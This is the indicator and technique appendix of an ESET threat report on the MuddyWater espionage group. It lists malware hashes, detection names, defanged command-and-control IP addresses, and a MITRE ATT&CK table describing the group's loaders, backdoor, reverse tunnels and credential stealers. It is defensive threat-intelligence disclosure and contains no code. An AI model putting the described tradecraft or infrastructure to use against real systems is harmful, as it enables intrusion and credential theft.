Para cualquier consulta sobre nuestras investigaciones publicadas en WeLiveSecurity, póngase en contacto con nosotros en threatintel@eset.com.ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.
IoCs
Archivos
| SHA-1 | Filename | Detection | Description |
| 76632910CF67697BF5D7 | OsUpdater | Win64/MuddyWater.E | MuddyWater – Fooder launcher. |
| 1723D5EA7185D2E339FA | Blub | Win64/MuddyWater.H | MuddyWater – Blub browser-data stealer. |
| 69B097D8A3205605506E | Blub | Win64/MuddyWater.H | MuddyWater – Blub browser-data stealer. |
| B7A8F09CB5FF8A336539 | Blub | Win64/MuddyWater.H | MuddyWater – Blub browser-data stealer. |
| B8997526E4781A6A1479 | stealer | Win64/MuddyWater.H | MuddyWater – Blub browser-data stealer. |
| 8E21DE54638A79D8489C | 7d1e9726b5YZPYc | Win32/MuddyWater.B | MuddyWater – CE-Notes browser-data stealer. |
| CD47420F5CE408D95C98 | fe197add74IVcQn | Win64/MuddyWater.I | MuddyWater – CE-Notes browser-data stealer. |
| C1299E8C9A8567A9C292 | vmsvc | Win64/MuddyWater.I | MuddyWater – CE-Notes browser-data stealer. |
| 29CDA06701F9A9C0A679 | 3a70e4c8c2IVcQn | Win64/MuddyWater.C | MuddyWater – LP-Notes credential stealer. |
| 8F3ED626E7B929450E36 | 3a70e4c8c2IVcQn | Win64/MuddyWater.C | MuddyWater – LP-Notes credential stealer. |
| 007B5CD6D6ACF972F774 | Dsync-es | Win64/MuddyWater.F | MuddyWater – Mimikatz loader. |
| CD36F93DBC4C71893059 | App_chek | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded HackBrowserData tool. |
| 47B70C47BEB33E88B419 | steam | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel. |
| D46900D78AE036967E0B | antimage | Win32/MuddyWater.A | MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel. |
| 0657D0B0610618886DDD | wtsapi32.dll | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 2939FD218E0145D730BD | msi.dll | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 3BC6502A55A4D5D29132 | WinWin | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 7950296331802188EB99 | 20241118_223247 | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 8580824FE14DB1583881 | Launcher.dll | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| B48B93B4EB69D01588D3 | Launcher | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| EA8A1C2382FF765709D7 | vcruntime140_1 | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| EAF4BAFC62170C9FCA1F | Launcher | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| F5EFBA6CCBA5A6AD6C3A | ncrypt.dll | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 13DA612D75DC5268F523 | WinWin(persist) | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 25361183DE63F296BA71 | 0bff183a39ruQsY | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 0E9A4892CFA1C9065B36 | 20d188afdcpfLFq | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 2B09241CA025BDC4455E | dttcodexgigas | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 2E9BE23CDD8152DB6CD1 | 7295be2b1fHxjyf | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 45FA7DE711FEA1F8D1E3 | fa54125dc8ZpaNJ | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 4E0EF2386980639FC535 | 20d188afdcWgOQB | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 4E9529BA4A6E42D6278D | bd34a33f5bHOVby | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 50C6D4A2AD16A231CF11 | re | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 52009F36058337B6401D | bd34a33f5bHOVby | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 535882B6EDAB29247E03 | 20d188afdcpfLFq | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 544CE18E4C1F1B288DEE | 1110254b63WfTEa | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 54EBC125039CC83E4682 | FMAPP.dll | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 5A08150C1DC17E9F6912 | bd34a33f5bJeJOf | WinGo/TrojanProxy | MuddyWater – go‑socks5 proxy reverse tunnel. |
| 5D1E61DA8083C41FF1FC | bd34a33f5bJeJOf | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 6532E0437C8913FA418F | 7295be2b1fHxjyf | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 6CA41565844118385B34 | re | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 6FC50A99AAE1D6C40111 | 8525e604dfKuDNr | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 826CFF5D85713CE4B2F3 | bd34a33f5bJeJOf | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 87ADD79C7C8335447113 | 20d188afdcpfLFq | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 93055115559219BE8441 | main | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 97C3376AB551E899F347 | 504f53ca8esoLmG | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| 99FAD0862E2E8D363F3E | 20d188afdcpfLFq | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| A101CBCCD950AA36FC3B | 66f3e097e4tnyHR | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| A227C0A4425E24268B75 | fa54125dc8ZpaNJ | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| A997A7AAE727D2C12CCE | fa54125dc8ZpaNJ | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| B0271CA76052EC340014 | 7295be2b1fAzMZI | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| B0CD4F5DF192BFFE6500 | 20d188afdcpfLFq | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| B16E7D56A8DC0FF6B3AF | ESETGO | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| D49979D0063B28BD7339 | 20d188afdcpfLFq | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| D518F5C648AB64B390A2 | bd34a33f5bHOVby | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| DF223D653F761ED55F9C | 66f3e097e4tnyHR | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| DF8FC5213AA11EE445EA | Revoke.dll | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| E02DD79A8CAED662969F | 66f3e097e4tnyHR | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| E8F4EA3857EF5FDFEC1A | main | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| F26CAE9E79871DF3A47F | 7295be2b1fAzMZI | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| FF09608790077E1BA52C | 20d188afdcpfLFq | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
| A9747A3F58F8F408FECE | AppVs | WinGo/TrojanProxy | MuddyWater – go‑socks5 reverse tunnel. |
Red
| IP | Domain | Hosting provider | First seen | Details |
| 3.95.7[.]142 | N/A | Amazon Data Services NoVa | 2024‑09‑08 | MuddyWater C&C server. |
| 35.175.224[.]64 | N/A | Amazon Technologies Inc. | 2024‑10‑10 | MuddyWater C&C server. |
| 51.16.209[.]105 | api.tikavod | Amazon Data Services Ireland Technical Role Account | 2024‑09‑15 | MuddyWater C&C server. |
| 62.106.66[.]112 | N/A | RIPE-NCC-HM-MNT, ORG-NCC1-RIPE | 2024‑09‑29 | MuddyWater staging server. |
| 157.20.182[.]45 | N/A | Hosterdaddy Private Limited | 2024‑04‑18 | MuddyWater staging server. |
| 161.35.172[.]55 | N/A | DigitalOcean, LLC | 2022‑11‑12 | MuddyWater staging server. |
| 167.99.224[.]13 | magically | DigitalOcean, LLC | 2022‑11‑06 | MuddyWater C&C server. |
| 194.11.246[.]78 | N/A | HosterDaddy Private Limited | 2024‑07‑23 | MuddyWater C&C server. |
| 194.11.246[.]101 | processplan | Administrator | 2024‑08‑27 | MuddyWater staging and C&C server. |
| 206.71.149[.]51 | N/A | BL Networks | 2023‑10‑30 | MuddyWater staging server. |
| 212.232.22[.]136 | N/A | HosterDaddy Private Limited | 2025‑01‑16 | MuddyWater C&C server. |
Técnicas ATT&CK de MITRE
Esta tabla se ha elaborado utilizando la versión 17 del marco MITRE ATT&CK.
| Tactic | ID | Name | Description |
| Reconnaissance | T1591 | Gather Victim Org Information | MuddyWater gathers victim org info to use in spearphishing emails. |
| Resource Development | T1583 | Acquire Infrastructure | MuddyWater uses acquired infrastructure to host malware download locations and C&C servers. |
| T1608 | Stage Capabilities | MuddyWater stages tools like RMM tools and data stealers on file-hosting sites such as OneHub and Mega Limited. | |
| T1587.001 | Develop Capabilities: Malware | MuddyWater develops backdoors like MuddyViper and tools such as the Fooder loader, LP-Notes credential stealer, and the Blub and CE-Notes browser-data stealers. | |
| T1588.002 | Obtain Capabilities: Tool | MuddyWater uses publicly available tools from GitHub, such as HackBrowserData and Go-based reverse proxies. | |
| Initial Access | T1566.002 | Phishing: Spearphishing Link | MuddyWater uses spearphishing emails with links to file hosting sites like OneHub and Mega Limited to host RMM software (Atera, Level, and PDQ). |
| Execution | T1059.001 | Command-Line Interface: PowerShell | MuddyViper has the capability to open and execute PowerShell scripts. |
| T1059.003 | Command-Line Interface: Windows Command Shell | MuddyViper has the capability to offer the Windows Command shell as a reverse shell. | |
| T1559.001 | Inter-Process Communication: Component Object Model | MuddyViper uses the ITaskService COM object to create a scheduled task for persistence. | |
| T1106 | Native API | MuddyViper uses the CreateProcess API to execute additional files and commands. | |
| T1204.001 | User Execution: Malicious Link | MuddyWater operators rely on targets clicking malicious links delivered through spearphishing. | |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | MuddyViper has the capability to copy itself to the victim’s Startup folder. |
| T1543.003 | Create or Modify System Process: Windows Service | MuddyWater operators attempt to install RMM tools in %PROGRAMFILES%, which also includes creating a Windows service set to autostart. | |
| T1053 | Scheduled Task/Job | MuddyViper can be persisted as a scheduled task named ManageOnDriveUpdater. | |
| Defense Evasion | T1134.001 | Access Token Manipulation: Token Impersonation/Theft | The LP-Notes and CE-Notes tools attempt to impersonate a logged-on user’s security context via ImpersonateLoggedOnUser. |
| T1140 | Deobfuscate/Decode Files or Information | Blub uses string obfuscation for storing stolen data. Fooder can extract embedded, AES-encrypted payloads. CE-Notes and LP-Notes both use a custom byte-wise decryption routine to decrypt strings. | |
| T1620 | Reflective Code Loading | The Fooder loader performs reflective code loading to run additional tools (MuddyViper, reverse tunnels, and HackingBrowserData). | |
| T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | MuddyViper uses many calls to a sleep function to detect and avoid virtualization and analysis environments, and generally to inhibit dynamic analysis. | |
| T1027.007 | Obfuscated Files or Information: Dynamic API Resolution | CE-Notes and LP-Notes perform dynamic API resolution by decrypting strings at runtime. | |
| T1134.002 | Access Token Manipulation: Create Process with Token | Fooder’s launcher attempts to duplicate the token of a process specified by the operator when launching Fooder via CreateProcessAsUserA. | |
| T1622 | Debugger Evasion | MuddyViper searches for specific debugging tools, adjusting its behavior accordingly. | |
| T1070.009 | Indicator Removal: Clear Persistence | MuddyViper can modify registry keys used for persistence, if instructed to uninstall itself. | |
| T1070.004 | Indicator Removal: File Deletion | MuddyViper can delete itself from the system, if instructed to uninstall itself. | |
| T1036 | Masquerading | Some versions of Fooder masquerade as an innocuous Snake game. | |
| T1036.004 | Masquerading: Masquerade Task or Service | MuddyViper can create a task named ManageOnDriveUpdater. | |
| T1112 | Modify Registry | MuddyViper can modify the HKCU\Software\Microsoft\Windows\CurrentVe | |
| T1027.009 | Obfuscated Files or Information: Embedded Payloads | Fooder can extract an embedded, AES-encrypted payload. | |
| T1027.013 | Obfuscated Files or Information: Encrypted/Encoded File | Fooder can extract an embedded, AES-encrypted payload. | |
| Credential Access | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | CE-Notes and Blub attempt to steal credentials stored in browsers. |
| T1056.002 | Input Capture: GUI Input Capture | MuddyViper and LP-Notes have the ability to display a Windows security login prompt to capture login credentials and confirm the credentials’ veracity by relaying those credentials to legitimate Windows APIs. | |
| Discovery | T1082 | System Information Discovery | MuddyViper collects system information from compromised systems and reports it back to the C&C server. |
| T1518.001 | Software Discovery: Security Software Discovery | MuddyViper attempts to get a process list of running applications, looks for security-related processes and, if found, reports them to the C&C server and modifies its behavior. | |
| Collection | T1074.001 | Data Staged: Local Data Staging | Blub, CE-Notes, and LP-Notes stage stolen credentials on disk for MuddyViper, reverse tunnels, or RMM tools to collect and exfiltrate. |
| T1560.001 | Archive Collected Data: Archive via Utility | MuddyViper uses PowerShell’s Compress-Archive command to compress browser data collected via the HackBrowserData utility. | |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | MuddyViper uses AES-CBC encryption to encrypt data before exchanging data with the C&C server. |
| T1219 | Remote Access Software | MuddyWater use Atera, Level, and PDQ RMM tools for remote access to victims’ systems. | |
| T1071.001 | Application Layer Protocol: Web Protocols | MuddyViper uses HTTPS for C&C communications. The reverse tunnels use a mixture of HTTP and HTTPS for C&C communications. | |
| T1105 | Ingress Tool Transfer | MuddyViper has the capability to download additional payloads from its C&C server. | |
| T1001 | Data Obfuscation | MuddyViper leverages HTTPS for C&C communications, using the Status header to hide a backdoor command ID in the server-to-client direction of the communication. | |
| T1090 | Proxy | MuddyWater uses customized versions of go‑socks5 reverse proxy tools. | |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | MuddyWater tools exfiltrate data to C&C servers using C&C channels (HTTP and HTTPS). |
| T1030 | Data Transfer Size Limits | MuddyViper supports downloading/uploading files in chunks of limited size. |
¡Para todos nuestros lectores!
Aprovechen esta oportunidad de obtener un trial gratuito de 30 días para Google Workspace, la mejor solución para tu empresa. Disfruta de todas sus funcionalidades, como correo electrónico personalizado, almacenamiento en la nube y herramientas de colaboración.




